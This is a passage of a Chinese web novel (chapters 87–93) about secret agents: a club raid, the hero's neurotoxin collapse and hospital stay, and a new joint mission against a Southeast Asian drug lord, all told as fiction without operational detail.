他懊恼地按下通讯器,声音有些挫败:“副队,目标.....跟丢了,对方反追踪能力极强。” 郑家言捏了一下拳头:“先回来吧。” “是。” 会所包厢内,目标人物已经走了进去。 沙发上的人纷纷抬头看过去,然后挥退了包厢内的工作人员。 “东西带来了吗?”坐在沙发正中央的一个光头男子问道。 “带来了。”说话那人并没有着急动作,而是直勾勾的看着光头男人。 “我要的东西呢 你们准备好了吗?” 光头男人:“当然,只要你把我需要的东西给我,我会给你安排新的身份,并且帮你隐瞒行踪,FK那边觉得查不到。” “好。”FK的内部叛徒伸手去掏自己的口袋,摸了两下,忽然顿住了。 神色也变得难看和惊疑了起来。 光头男人看出了他的不对劲,站起身:“东西呢?” “我,我明明记得就放在口袋里了。”叛徒把自己浑身上下的口袋都摸了个遍。 神色逐渐变得绝望和惊恐。 光头男人眼神变得凶狠:“你耍我?” 说着手就往腰后伸去。 “没有!”叛徒只感觉心跳加速,连双腿都在打抖。 “我,我想起来了,一定是刚刚外面那个男人,他偷走了我的资料!” 话音未落,包厢的门就从外面被暴力破开。 “不许动!”厉喝声伴随着黑洞洞的枪口瞬间指向包厢内所有人。 几个便衣特工迅速从外面扑入,枪口稳稳对准光头几人: “蹲下,手抱头,不许动!” 包厢内的人被这突如其来的变故惊得僵住。 那个光头男人反应稍快,眼神凶戾,他缓缓屈膝作势下蹲,但放在后腰的手却猛地发力,企图拔枪反抗。 就在光头的手腕刚刚抬起,扳机还未扣下的千钧一发之际。 一道黑影迅速出现在他的面前。 是顾鸣鹤。 他根本没有多余的动作,右腿精准扫出,带着狠劲儿狠踢在光头持枪的手腕上。 紧接着是一声令人牙酸的骨裂脆响。 光头惨叫一声,手枪脱手飞出,砸在远处墙上。 顾鸣鹤的动作毫不停滞。 踢飞手枪的腿落地瞬间,抬手锁住光头刚才被踢伤的右臂,猛的向上反剪。 随后左膝狠狠顶在光头的后腰脊椎处。 “呃啊——!”光头迅速失去了反抗能力。 剧痛让他面孔扭曲,身体下意识就要往前倒去。 顾鸣鹤顺势沉肩发力,将光头重重地压在地板上。 整个动作行云流水,从踢腕到压制完成,不过眨眼之间。 光头被反剪的手臂剧痛钻心,脸被死死摁在冰冷的地面。 此时他的脊椎处承受着膝盖的重压,别说反抗,连呼吸都变得困难,只剩下痛苦的呻吟。 顾鸣鹤单膝压在他背上,纹丝不动,冰冷的目光扫视着其他被震慑住的嫌疑人。 “带走。” 郑家言此时也从外面进来汇报:“队长,目标人物的资料被人偷了,我们的人没追到。” 顾鸣鹤:“FK的人?” “应该是的。” 顾鸣鹤闻言微微点头,然后转身走出包厢去监控点调了监控。 几个人在监控面前查看几分钟前酒吧外面的监控画面。 画面中几秒的片段一直被来回播放。 戴鸭舌帽的男人撞上了目标人物,然后消失在人流中。 郑家言有些不可思议:“他是这时候偷走的吗?怎么做到的?” 顾鸣鹤没有回答,而是对着工作人员说:“再放一遍。” “停。” 画面停留在某一处。 恰好是目标人物转身想要进大门,戴鸭舌帽的男人抬手扶帽子的瞬间。 顾鸣鹤冷声且笃定地说:“就是这里,东西就在这时候被拿走的。” 郑家言弯着腰,脑袋就快凑到电脑屏幕上了,看着那被定格的画面,惊叹道: “他是怎么做到的?” 顾鸣鹤眼神深邃,透露出严肃:“速度,他的速度非常快。” 转而又对着工作人员说:“把这一段再慢放一遍。” 第88章 时崇德 画面中人物的动作被放慢了无数倍,郑家言这才勉强看清。 鸭舌帽男人在目标人物转身毫无察觉的情况下,抬手靠近目标人物,瞬间拿走了资料。 只是他把手伸向目标人物之后的动作被他的身体挡住,看不清具体是怎么拿到。 “这.....这也太快了。”郑家言咋舌。 郑家言也受过很长一段时间的专业训练,他自认为做不到。 想无声无息的在一瞬间从对方身上取走东西,不仅仅要考验个人的速度。 同时可以判断那个人的心理素质非常强,一勾一捻间就拿到了东西。 “队长,我们还要继续查这个人吗?” 顾鸣鹤的目光始终落在监控画面的那个男人身上:“查。” 不仅仅是因为这份名单有多么重要,而是因为画面中这个鸭舌帽男人的身手很明显就不是普通特工或杀手。 这种级别的存在出现在京城是高度危险的不确定因素。 顾鸣鹤对技术人员说:“把其他拍到这个人的监控视频都调出来。” 对方很明显就是有意躲着监控,所以拍照的画面寥寥无几,而且全都是背影。 正面有鸭舌帽挡着,根本看不清脸。 只能通过身材模糊判断出这个人的身高体重。 “队长,这样怕是很难查。” 顾鸣鹤没有说话,看向监控画面的眼神逐渐幽深。 这个背影....... 给他一种熟悉感,很熟悉。 时清徵离开单西路后,在某个商业广场门外打了辆车。 说了目的地位置后,时清徵就开始闭目养神。 开出租车的是一个中年大叔,目光总是有意无意的从中央后视镜里打量时清徵。 时清徵虽然是闭着眼睛去也能察觉到他的视线,但是他能感受到这个事情并非恶意,因此也并没有管。 “小伙子,你是京城人啊?” 时清徵摇头:“不是。” 那个大叔又忍不住看了他一眼:“小伙子,你跟我的一个朋友长得特别像。” 闻言时清徵缓缓的睁开眼,目光从中央后视镜中与那个大叔对视上了。 随即勾起一个和缓的笑:“是吗?那很巧了。” “对啊,我那个朋友自己有两个孩子,长得跟他倒不是很像。” “刚才看到你的第一眼我就有些惊讶了,太像了。” 司机大叔把视线重新落到前方的道路上,一边开车一边感慨。 两人有一搭没一搭的聊着。 司机大叔就像是打开了话匣子一般,忍不住的感慨道。 “我那个朋友也是一个倒霉的,先前家里条件还算不错,父母都是老师,他自己还做了生意。” 说到这儿他又忍不住摇头。 “结果不知道得罪了谁,家里的生意被搞破产,欠了一屁股债。” “他父母也是老师,为了还钱把一辈子的积蓄都搭上去了,家里的房子也卖了,还是欠几十万。” “据说他还有个妹妹,结果不知道被别人拐到哪里去了。” 时清徵听到这里,手指无意识地攥紧了下。 “是吗,那他们一家现在怎么样?” “后来不知道是哪个好心人帮他们把钱还了,现在日子也还过得去,但家里两个老人身体都不大行了。” “先前他们一家刚搬到徐城的时候正好住我家隔壁,我那朋友人是真的好,可惜了,好人没好报啊。” 司机大叔的眼神中透出些许为朋友不甘的惋惜来。 时清徵的目光落到车窗外的车水马龙中,眼神幽暗,看不清楚情绪。 就在车中陷入寂静的时候,时清徵忽然再次开口问道:“你那个朋友姓什么啊?” “姓时,时机的时。” 他顿了顿,观察着后座的反应,见时清徵没什么不耐烦,才继续道:“我那朋友啊,本事是真不小,正经的金融学硕士。 可惜啊,就是差那么点时运,一直没遇到贵人,到现在还.......” 司机大叔的话没说完,但意思很明显。 刚才时清徵说的目的地是晋园,司机大叔自然知道那里住的都是京城上流人士。 看这小伙子的气度他就能隐约猜到这很有可能是哪个有钱人家的公子哥。 觉得这简直是天赐的时机。 要是这位富家公子哥能对自己朋友产生一点点兴趣,或者仅仅是随手帮个小忙,朋友的人生可能就完全不一样了。 时清徵的目光从窗外收回,淡淡地“嗯”了一声,算是回应。 他听懂了司机的弦外之音,但并没有接茬深谈的意思。 车子很快到达了晋园外。司机大叔熟练地将车靠边停下,略带歉意地说: “不好意思啊小伙子,我这车进不去,只能停这儿了。” “可以。”时清徵扫码付钱,然后打开车门走了下去。 他侧过身,隔着降下的副驾驶车窗,看向里面的司机大叔,语气平静地问了一句:“你那位朋友,方便留个联系方式吗?” 司机大叔愣了一下,随即脸上爆发出巨大的惊喜,连忙点头:“方便方便!” 他手忙脚乱地掏出手机,报出一串号码,生怕时清徵反悔似的。 时清徵拿出自己的手机,手指在屏幕上点了几下,存好号码。 司机大叔的手机明显老旧,好几秒后才弹出收款信息。 “哎,小伙子,给多了!这......” 司机大叔看着支付成功的提示,赶紧出声提醒。 时清徵已经转身走向晋园大门,闻言只是脚步未停,头也不回地扬了下手:“谢谢你朋友的故事。” 话音落下,他的身影便消失在晋园入口处的入口处。 只留下司机大叔握着手机,看着多出来的车费,又惊又喜。 时清徵没想到居然会这么巧。 他慢悠悠的在路边走着,拿出手机看着刚存的一串号码。 然后跟很久之前就收录的一个手机号对比了一下,一模一样。 时清徵几乎可以肯定面前的这一串号码就是他那个名义上舅舅——时崇德。 也就是他母亲时尚贤的亲哥哥。 六年前时清徵回来办理A国国籍,因为他的母亲是A国人,而且他并没有东南群岛的国籍,所以办理的还算顺利。 后来他常年居住在国外,为了完善自己的身份背景,他调查了母亲还有时家的背景。 第89章 时小徵,是我 那些资料详细记录了母亲当年如何得罪了程家,以及时家因此被波及,后来的日子举步维艰。 但这些事发生时,他甚至尚未出生。 时清徵平静地收起手机,目光投向晋园深处灯火通明的豪宅群落。 对于时家的遭遇,他并非毫无所知,但也仅止于知道。 几年前出手帮过一次就已经算是仁至义尽了。 时清徵不是一个很擅长内耗的人,所以不会把一切归咎于自己的身上。 面对素未谋面的亲人,他很难产生强烈的共情或者拯救欲。 之所以没去见过时家人,还有一个原因是因为他自己都难以表达的逃避感。 时清徵看着手机上的那一串号码,最终把手机关灭。 现在已经能看到别墅的大门了,就在不远处。 时清徵下意识的就加快了些脚步,可就在他抬脚走了几步后,一阵毫无征兆的寒意从他的脊背处炸开。 瞬息间就已经遍布了全身,紧接而来的是一阵又一阵的虚弱感。 这样毫无防备的时清徵险些脚下一软。 他大脑一片空白,瞬间反应过来,这是神经毒素又发作了。 可他现在来不及想太多,几乎是撑着最后一点力气跑到了门前。 但此时已经没有力气去开门,只能用额头抵着冰冷的门,以此来保持清醒。 时清徵用力的喘息,尽力地保持镇定。 随后抬手去握住门把手,可是手已经抖地不成样子,视线里的门把似乎有好几个,怎么握都握不住。 这次的幻痛比先前任何一次都要来的凶,来的猛,连时清徵都毫无招架之力。 最终他咬破舌尖,血腥气在口中弥漫,眼神终于恢复了清明。 他按上指纹,门锁应声而开。 几乎是踉跄的跌进了门内,他连门都来不及关。 惯性让时清徵往前趔趄了几步,然后单膝跪倒在地上。 很响的一声,是膝盖与地面猛地接触的声音。 身体因为疼痛而剧烈的颤抖,就是这一分钟的功夫,他的鼻尖和额头上都沁满了汗珠。 滚落下来,滴滴答答地掉在了地板上,晕开了一小片深色的水渍。 屋内一片漆黑,唯有门口那边有屋外路灯照进来的光影。 一片安静,只有时清徵接近本能的痛呼和已经压抑不住地颤抖喘息。 此时就连颤抖也破碎地不成样子。 生理泪水混着冷汗滚下,耐痛值极高的时清徵都忍不住出了稀碎的哭腔,再怎么咬紧牙关都忍不住。 现在时清徵脑海里只有一个念头。 ——他一定要弄死幽灵组织那群人! 不死不休! 就在时清徵刚才摔倒在地上时,他的手机也从口袋里滑落,掉在不远处的地板上。 此时忽然一阵电话铃声响起。 时清徵似乎是坠入深海的深渊了,什么也听不见,什么也看不见。 电话铃响了好一阵,电话铃又响了好几次。 顾鸣鹤又拨了一次时清徵的号码,听筒里传来的依旧是忙音。 这已经是他拨打的第五通电话了。 一种不安感无声无息地攫住了他的心脏,逐渐蔓延开来。 他强迫自己压下那不合时宜的焦躁,试图用最合理的解释说服自己: 也许他正在洗澡,水声太大没听见....... 或者手机恰好没电关机了........ 但这些理由无法真正驱散心底那点不断扩大的阴影。 就在这时,郑家言敲门走了进来。 “队长,外围扫尾完毕,附近几个街区确认干净的眼睛都已经拔除或驱离,现场痕迹也按规程处理了。” “嗯。” 顾鸣鹤应了一声,迅速收敛心神,将那份不安强行压回深处。 “剩下的收尾和报告,你全权负责。我还有点私事。” 郑家言没有多问一句,只是干脆利落地点头:“明白!这里交给我,队长放心。” 现在的风险已经都排除,剩下的收尾都是基本流程,也不用顾鸣鹤亲自盯着。 顾鸣鹤对郑家言的能力自然是信任的,拿起外套就匆匆往外面走。 等顾鸣鹤把车开到晋园,甚至连车钥匙都忘了拔,便推开车门,冲向别墅。 他一边跑,一边不死心地继续拨打时清徵的电话。 别墅的大门依旧敞开着,,里面没有一丝光亮透出。 手机听筒里传来的铃声,在寂静的夜里显得格外刺耳,从打开的门内飘了出来。 “时小徵!” 顾鸣鹤的心瞬间沉到谷底,冲进了门厅。 借着门外透进的微弱光线,他一眼就看到了倒在地板上的身影,蜷缩着,一动不动,仿佛陷入了昏迷。 而不远处,时清徵的手机正在地板上躺着,一阵阵来电铃声不断响着。 顾鸣鹤瞳孔骤缩,三步并作两步冲到近前,手机被他随手扔在一旁,人已经猛地蹲下,伸手就要将时清徵抱起。 虽然意识已经陷入混沌,但身体的本能却瞬间被惊醒。 就在顾鸣鹤的手触碰到他的刹那—— 时清徵几乎是凭借着残存的战斗反射,手臂猛地朝来人攻去。 五指如钩,精准狠厉地反扣向顾鸣鹤的手腕。 那力道又快又刁钻,带着一种濒临虚脱边缘却依旧不减精准的凶狠。 完全不似一个昏迷之人所能发出的。 顾鸣鹤毫无防备,手腕被结结实实地锁住,一阵锐痛传来。 但他此时反应更快手腕一翻,反客为主,几乎是瞬间反制,将时清徵那只攻击的手牢牢扣住。 “时小徵,是我!” 他低沉而急促的声音在黑暗中响起。 时清徵的手被死死扣住,一时间难以挣脱,但就是这几秒的怔愣让他记起了这熟悉的温度。 那声音和他掌心的温度穿透了痛苦迷雾,击中了时清徵的理智。 挣扎的动作如同被按下了暂停键,骤然停滞。 时清徵紧绷的身体肉眼可见地松懈下来,只剩下沉重的喘息。 “顾鸣鹤?” 嗓音干哑,浸透着疲惫和虚弱。 确认他认出了自己,顾鸣鹤再无半分犹豫,手臂一用力,将人稳稳地打横抱了起来。 怀中身体的细微颤抖让他心焦如焚。 “别怕,我马上带你去医院!” 他抱着人,转身就大步流星地朝门外冲去。 这情况,绝非家庭医生能应对的。 “我......不去。” 第90章 你这个病多久了 时清徵抓住顾鸣鹤胸前的衣服,再次重复了一遍:“我不去。” 顾鸣鹤却没有听他的,依旧快步往外走:“听话。” 时清徵抓着手中的布料,把它在手心里抓地皱巴巴的:“等会.....就好了。” 他的脑袋贴在顾鸣鹤的胸口,那里跳地好厉害。 一下一下,只重不轻。 为了保持清醒,时清徵下意识去数那心跳,可很快就数乱了。 不知道是不是因为顾鸣鹤那心跳地太快,还是时清徵现在根本没有精力和心神。 “会没事的,没事的。” 顾鸣鹤好像没有在听时清徵说话,只是重复安慰着时清徵,“会没事的”。 说话时,时清徵能感受到顾鸣鹤胸腔处的轻微震动。 我真没事,休息一下就好了。 可是时清徵此时已经没力气去说出这句话了。 昏迷前时清徵最后一个想法是,顾鸣鹤今天喷的香水还怪好闻的。 ........ 迷迷糊糊间,时清徵感觉是半梦半醒的,身体上的疼痛已经消失,但虚弱和疲惫让他一点都动不了。 遥远的地方,或是很近的,那儿的地方有声音传来。 一个陌生的,带着冷静的男声在说话,语气恭敬却透着一丝无能为力: “顾总,非常抱歉,目前所有常规检查都做完了......确实没有查出明确的器质性病变问题。” 紧接着,是顾鸣鹤那熟悉却完全失了沉稳的声音,每一个字都裹着压抑不住的焦灼: “那他为什么会疼成那样?为什么到现在还不醒?!” 那个陌生的声音停顿了一下,才带着谨慎和无奈继续解释: “顾总,我们理解您的担忧,但仪器和生化指标.......确实没有异常指向。 这种情况可能需要考虑脑部神经功能方面的........” 后面的词句变得模糊不清。 “那就.......一定.......我.......” 顾鸣鹤的声音似乎压抑着巨大的情绪,只模糊地传来几个音节。 “这边的.......结果.......出来了。.......显示.......与........” 陌生声音的再次响起,但内容却破碎,断断续续,怎么也拼凑不出完整的含义。 这些零散的词语在时清徵沉重的意识里徒劳地打着转。 时清徵想努力听清,但越是努力,身体就会漫起一阵阵疼痛。 疲倦下,他不知道什么时候睡了过去。 再次醒来是因为窗外的光打在他的脸上,他被阳光晃了一下。 眼睫颤了颤,慢慢睁开了眼,撑着身子坐了起来。 此时病房里没有人,时清徵看着窗外的天色,估摸着是第二天下午了。 此时他身上已经没有虚弱感了,但表情却有些严肃。 这段时间他的确把神经毒素这件事给忽视了,没想到还没到一个月它就又发作了一次。 而且还更加严重了。 时清徵不敢想如果病情再加重下去....... 一定得把其他几个芯片弄到手。 时清徵还在想着这两天就亲自带着芯片去一趟东南群岛,把资料提取出来后送到研究所。 让他们把最新型的抑制剂研制出来。 正思考着的时候,门被推开了。 时清徵还没来得及完全抬起头,一声带着浓烈惊喜的呼唤就撞入耳中: “时小徵!” 是顾鸣鹤的声音。 时清徵刚张了张嘴,一个音节还没发出,就被顾鸣鹤猛地拉进怀里,紧紧抱住。 那力道大得像是要把他勒死。 “时小徵......你吓死我了。” 顾鸣鹤的声音埋在他颈窝,带着劫后余生的庆幸和后怕。 时清徵被勒得差点背过气去,好半晌才艰难地挤出几个字:“先,先生......你抱得.....太.......紧了......” 顾鸣鹤这才如梦初醒,连忙松开手臂,坐回床边,一双眼睛巴巴地地停在时清徵脸上,仿佛怕他下一秒就会消失不见一样。 时清徵活动了下被抱麻的肩膀,旋即就想掀被子下床。 脚还没沾地,手臂就被顾鸣鹤稳稳扶住。 那架势,小心翼翼得如同伺候一个百岁老人。 “先生我真没事了,你看,全好了!” 时清徵为了证明,利落地在顾鸣鹤面前转了个圈,甚至还象征性地抬了抬胳膊踢了踢腿。 就差当场来一套广播体操了。 “好了?” 顾鸣鹤看着他活蹦乱跳的样子,语气却莫名地低沉下去,听不出是喜是怒。 “昂,对啊!” 时清徵回答得干脆,心里却有点发毛。 顾鸣鹤那眼神......怎么跟自己是回光返照似的?怪瘆人的。 “嗯,那先吃饭吧。” 顾鸣鹤按了铃,很快有人将饭送了进来。 时清徵也确实有些饿了,面前的饭菜也很合他口味,风卷残云很快吃完了。 吃完还对顾鸣鹤比了个大拇指的手势,对他的贴心表示赞许。 “吃饱了?不难受了?”顾鸣鹤忽然问了这么一句。 时清徵:“本来就不是什么大事,我都说了不用来医院的,你这不浪费医疗资源嘛。” 顾鸣鹤确认他的确没事了,也没有回他的后半句。 “既然好了,那我们聊聊吧。” 顾鸣鹤身体微微后靠,姿态看似放松了下来,双腿交叠,目光却不似刚才那般温和。 时清徵:“.......” 内心吐槽了句,变脸你真是专业的。 “干嘛?” 他嘴上应着,看着顾鸣鹤那不容糊弄的严肃表情,还是认命地把床边的椅子拖了过来,一屁股坐下。 站着听训?跟老子训孙子一样,他才不干。 “先生你说吧。” 时清徵坐得端端正正,脸上摆出“我超乖,有问必答”的纯良表情。 顾鸣鹤单刀直入:“你这个病,多久了?” 时清徵心头猛地一跳,头皮瞬间发麻,被发现了?! “咳咳。” 他先是战术性咳嗽。 “什么病啊?先生你说什么呢?” 时清徵一本正经地开始装傻充愣,装的让人看不出什么异样。 顾鸣鹤没说话,只是微微眯起眼,那眼神明明白白写着:继续,我看你演。 第91章 先生,我身娇体弱 “先生” ,时清徵灵活切换话题,捂着肚子,“我还有点饿,可能刚才还没吃饱。” 可惜顾鸣鹤今天铁了心不吃这套。 他只是淡淡一点头:“嗯,等我们聊完我再让人送一份过来。别东拉西扯转移话题,我告诉你,没用。” 时清徵嘴瘪了一下,哎,有点难糊弄啊。 失算了。 他蹭地站起身,哥俩好似的挨着顾鸣鹤坐下,手臂自然地搭上他的肩膀。 紧接着露出一副“咱俩谁跟谁”的亲热劲儿。 “先生啊........” 时清徵顿了几秒后语重心长地开口:“这事儿吧,说来话长.......” 顾鸣鹤侧过头,好整以暇地看着他:“嗯,然后呢?” “然后?” 时清徵眨眨眼,一脸无辜,“然后就没了啊!这个毛病吧,其实真没啥大不了的!” 他煞有介事地拍拍胸口:“主要是我这个人吧,比较娇气,身娇体弱的,一点点不舒服就反应特别大!先生,你懂的,对吧?” 说完,还对着顾鸣鹤挤眉弄眼,努力传递你懂我的信号。 顾鸣鹤:........ 他不懂。 “你继续糊弄,你猜我信不信。” 时清徵叹了口气,一脸惆怅:“先生啊,你之前还叫我宝贝,现在就开始审问上我了。” “呵,男人,之前说爱我果然是假的。” 随即露出一脸幽怨的表情。 顾鸣鹤伸手盖在他的脸上:“别演。” 时清徵把他的手扒拉开,轻哼一声:“不说行不行啊,我这病真没什么大不了的。” “不许讳疾忌医。” 顾鸣鹤伸手,轻轻地将时清徵故意别开的脸转回来,指腹擦过他的下巴。 然后出声低沉而温柔地哄着:“我有的是钱,不管是什么病,一定都能给你治好。” 在他看来,这世上不存在绝对治不好的病,如果有,那也只是钱没到位或者关键的东西没找到。 而钱,恰恰是他最不缺的东西。 时清徵看着顾鸣鹤眼中的认真和担忧,对视了许久,终于认命般叹了口气,肩膀垮下来:“行吧行吧,先生,你说什么就是什么吧。” “不许敷衍我。” 顾鸣鹤盯着他,一眼看穿他的小把戏。 “啊对对对,你说的都对。” 时清徵拖长了调子,整个人蔫蔫地靠在床头,一副无精打采,任人宰割的模样。 先前趁他昏迷,医生已经做了初步检查,结论指向是大脑神经功能方面出现了问题。 但具体原因和病灶仍未查清,需要病人配合进行一系列更深入更耗时的专项检查。 显然,这不是一两天能搞定的事情。 时清徵眼珠一转,立刻抓住机会,扯了扯顾鸣鹤的袖子,语气带着点不经意的软: “先生,你看我这不都醒了?还生龙活虎的! 我们能不能不住这了?我觉得我完全可以出院了!” 顾鸣鹤想都没想,直接摇头否决:“不行。住这里方便。” “哪方便了?” 时清徵不服气地追问。 “医生随时检查方便。” 顾鸣鹤言简意赅。 然后放软了语调:“你乖一点,听话。等病彻底治好了,我立刻带你回家。” 时清徵眼巴巴地看着他,忽然正了正神色,语气也正经了几分:“顾鸣鹤。” 他很少这样连名带姓地叫顾鸣鹤。每次这样叫,都意味着有正经事要谈。 “嗯?” 顾鸣鹤挑眉,等他下文。 “其实吧......” 时清徵斟酌着措辞。 “我知道自己这个病。嗯......通俗点说,就是脑子出了点问题。” 顾鸣鹤眉头立刻蹙紧:“别胡说八道!” “哎~话糙理不糙!” 时清徵浑不在意地摆摆手,脸上甚至还挂着轻松的笑意,似乎并没有往心上去。 顾鸣鹤看着他这副完全不当回事的模样,眉头锁得更紧了,心头有一丝恼火。 时清徵再接再厉,凑近了一点,压低声音,带着点蛊惑: “其实呢,我一直有在接受治疗, 只是地方比较特殊,不如你送我去东南群岛? 我在那边专心把病养利索了,然后健健康康地回来陪你,好不好?” 顾鸣鹤眸色深沉。 他之前调查时清徵的资料,确实没有关于这个病症的任何记录。 但此刻,看着时清徵异常认真的眼神,他却觉得时清徵不是在骗他。 捕捉到顾鸣鹤眼中那一闪而逝的动摇,时清徵立刻打蛇随棍上:“真的,那边专门研究这个的,经验丰富得很! 人家就是专门对付脑子问题的专家。” 顾鸣鹤定定地看着他,沉默了几秒,才缓缓开口,语气带着质疑:“有经验?那前天晚上,你在家门口昏过去,又是怎么回事?” 时清徵笑容僵在脸上。 啊?前天?他睡了两天! 艹,难怪醒来时那么饿。 时清徵大脑飞速运转:“那个啊?正好是上一个疗程结束了, 要想继续有效治疗,必须开始下一个疗程。 所以我这不是急着赶回去嘛。” 顾鸣鹤伸手揉了一下时清徵的头发,没有说话。 “先生?” “我考虑一下。” 那这就是有的谈了。 时清徵凑上去亲了顾鸣鹤的唇角,然后笑嘻嘻道:“先生你真好。” 顾鸣鹤心中的问题被时清徵这个吻压了下去。 时清徵有秘密,这一点他知道。 不过自己也没必要追根究底,但前提是时清徵这个人好好的。 时清徵来的是天和集团名下的一个私人医院,住的是VIP病房,所以这里很大。 基本的家具这里都有。 顾鸣鹤也跟时清徵住在一块。 虽然医生也告诉顾鸣鹤这个病不会频繁发作,而且不会危及性命。 但是顾鸣鹤依旧我我行我素,这些日子都快把时清徵宠成大爷了。 时清徵住在医院的第三天,顾鸣鹤终于松口了。 “你可以去,不过我得陪着你。” “啊,那先生公司怎么办?” “有副总。”顾鸣鹤拍了时清徵脑袋一下,“我们明天就去。” 时清徵:....... 咋办啊,他是去东南群岛那边执行任务的。 要不把顾鸣鹤打晕然后自己偷偷跑回去,然后回来后告诉顾鸣鹤自己是被拐走的。 嗯......可顾鸣鹤的脑子好像没问题。 第92章 第七局总部 但很快时清徵的顾虑就被打消了。 顾鸣鹤临时有事,时清徵只能一个人前往东南群岛。 临行前,顾鸣鹤给他配了四个保镖,都是特种兵退役出来的。 这样还不够,拉着时清徵叮嘱了一遍又一遍。 时清徵在路上都已经听得耳朵起茧子了,于是摆摆手敷衍道: “好的先生,知道了先生,明白了先生,我走了先生。” 顾鸣鹤看着时清徵的背影,叹了口气,然后上了车。 对司机道:“去明月大厦。” 司机:“好的先生。” 车停在了明月大厦的地下停车场。 顾鸣鹤下了车,让司机自己先离开,然后刷脸走进了专用电梯。 电梯门关闭后,一道红光将人从头到脚扫了一遍,然后缓缓上升。 最后停在了电梯最顶楼的位置。 这栋明月大厦是商业综合楼,最顶层是电梯无法直达的,而且不对外开放。 当然只是外人眼中的。 只有这一个电梯能到达顶楼,而且电梯里装有生物识别系统,只有特殊权限的人才能上去。 外部的监控与内部的安保系统是分开独立运行的。 而通往顶楼的消防楼梯在倒数第二层看是钢门封死的,外人无法从外部打开。 这个钢门只有顶楼的内部指令才能开。 电梯很快直达顶楼。 顾鸣鹤先是在前区进行身份核验,然后进入了办公区。 这里便是第七局的总部。 总部占据了大厦的顶层,布局分明。 除了入口处严格检验身份的前台区域,内部主要分为核心的办公区和配备完善的功能区。 顾名思义,办公区是整个第七局的中枢,包括了指挥调度,情报深度分析以及加密通讯。 功能区则包括了会议室,武器库,以及用于短期看押的临时羁押室。 先前在上井酒吧抓获的那些人,此刻还被关押在此。 此刻的顶楼显得格外空旷安静。 只有常年驻守,负责日常运转和后勤保障的工作人员。 在这里很少能看到那些隶属于七个行动组或散布在外的特工身影。 毕竟这里并非前线。 顾鸣鹤自己也没来过总部几次。 今天特意前来,是因为局长林霄汉亲自通知他,有一项重要任务,需要他的第一行动组与第三行动组联合执行。 两个行动组协同作战,这在第七局还是破天荒的头一遭。 顾鸣鹤此前从未接触过第三行动组的负责人。 因此,当他在林霄汉的办公室内,看清了坐在沙发上的那张熟悉面孔时,心中不由得掠过一丝明显的诧异。 宋燕回? 他竟然就是第三行动组的队长? 顾鸣鹤清晰地记得,这位宋家少爷几年前不是还在国外学艺术吗? 宋燕回也明显地怔愣住了,半晌没说出话来。 林霄汉显然对两人的背景都了如指掌,见他们大眼瞪小眼,气氛凝滞,便笑着主动打破沉默: “怎么都不说话?我还想着你们俩既然认识,合作起来应该能省去不少磨合的功夫呢!” 宋燕回收起了目光中的惊讶,依旧是那副疏离冷淡的模样,仿佛置身事外。 顾鸣鹤则率先伸出手,脸上挂起一丝公式化的笑意:“你好,我是白鹤,第一行动组负责人。” 宋燕回这才慢半拍地抬起手,惜字如金地吐出两个字:“南瓜。” 两人的手短暂地象征性握了一下,一触即分,速度快得仿佛对方手上沾着什么不干净的东西。 林霄汉干咳两声,适时地把话题拉回正轨:“咳咳,好,这就算认识了。那么接下来,我们说正事。” 这次联合任务的目的是将A国到东南群岛那边的几条黑色线彻底斩断。 先前这些线都是由顾砚川负责,如今顾砚川落网正是把这些线彻底斩断的好时机。 林霄汉从抽屉里拿出了一沓资料,推到了二人面前:“这是我们情报处的工作人员查到的信息,你们先了解一下情况。” 这几条黑色的线是连到东南群岛的违法犯罪的通道。 包括并不限于贩du,人口拐卖等。 林霄汉的手点着一份资料上的人像:“这个人叫拉尔斯,是东南群岛的大du枭,这些年来他没少通过这几条线往我国押送du品。” “最近一次被查获的就有数吨,实在是猖獗。” “不仅如此,他还掌握着东南群岛大半的犯罪生意,是当地最知名的黑帮老大。” 林霄汉看着两个人,严肃且认真道:“你们这次行动的任务之一,活捉他。” 拉尔斯这个人臭名昭著,是国际通缉榜上的常客,不过东南群岛那块地带本就混乱。 俗话说最危险的地方就是最安全的地方。 拉尔斯待在那反而活地更久。 不过也快到头了。 这次的任务并不简单,而且还是在国外。 第七局不可能毫无顾忌,因此才需要两个行动组共同合作。 更何况这次的任务并不简单,除了活捉拉尔斯外还有从那边斩断起始线,然后搜集证据。 他们这次行动是没有与对方的官方有接洽的,一来是没必要,二来是当地的官方都不知道腐败成什么样子。 只怕他们上一秒刚发过去合作的消息,下一秒这合作的消息就摆到那些地头蛇桌子上了。 而且还有个更加严肃的问题。 当地的这个官方官方吗? 顾鸣鹤与宋燕回一前一后走出林霄汉的办公室门,两人都没有立刻离开。 顾鸣鹤率先停下脚步,姿态闲适地倚靠在走廊的墙边,双臂抱胸,好整以暇地上下打量着宋燕回。 随后嘴角勾起一抹玩味的笑意,慢悠悠道: “啧,宋二少......真是深藏不露啊。” 语气里带着毫不掩饰的探究和一丝调侃。 宋燕回脚步一顿,身体几不可察地微微绷紧。 他目光低垂,避开了顾鸣鹤的视线,声音平静:“.......比不上顾总。” 顾鸣鹤笑意更深,仿佛没察觉到对方的回避,继续慢悠悠地夸赞: “宋二少太谦虚了。你可是常青藤名校出来的艺术高材生,如今摇身一变,成了行动组的精英队长,这才是真正的文武双全。” 他话锋一转,故作感慨地摊手:“哪像我啊,整天就只能围着生意转,就是个俗气的商人罢了。” 宋燕回:“.......” 他嘴唇动了动,最终却一个字也没吐出来。 第93章 高冷只是表象,社恐才是真相 宋燕回本就不善言辞,尤其是在面对顾鸣鹤这种擅长社交的人。 此时还明显带着促狭意味的叙旧,让宋燕回更是无所适从。 有种一种社交能量被快速抽干的窘迫,只想立刻逃离现场。 说来也怪,顾鸣鹤和宋燕回虽然算是一起长大,同在一个圈子里,但两人之间的关系始终隔着距离。 这倒不全是因为顾鸣鹤,更多是宋燕回本身的性格使然。 他对谁似乎都隔着一层无形的屏障。外人觉得他是高岭之花,清冷矜贵。 但真正了解几分的人都知道,这位宋二少高冷只是表象,社恐才是真相。 骨里就是个重度社交苦手,跟谁都不容易玩到一块儿去。 顾鸣鹤这种长袖善舞的存在,对他来说简直是社交场上的洪水猛兽。 但顾鸣鹤显然也只是随便问问,并没有真的要盘查的意思。 两人简单交流了一下就各自分开了,出发时间定在了次日。 时清徵此时已经在东南亚机场下了飞机,身后跟着四个黑衣保镖好不显眼。 一下飞机就有专车把他送到了当地的一个酒店。 因为位置问题,所以时清徵跟那四个保镖并不是一辆车。 司机一边开车一边目不斜视道:“先生,公司的科研组那边已经安排好了,之前您交代的核心资料我们暂时还没有查到。” “不过Sam已经在亲自调查了,应该用不了几天就能查出结果。” 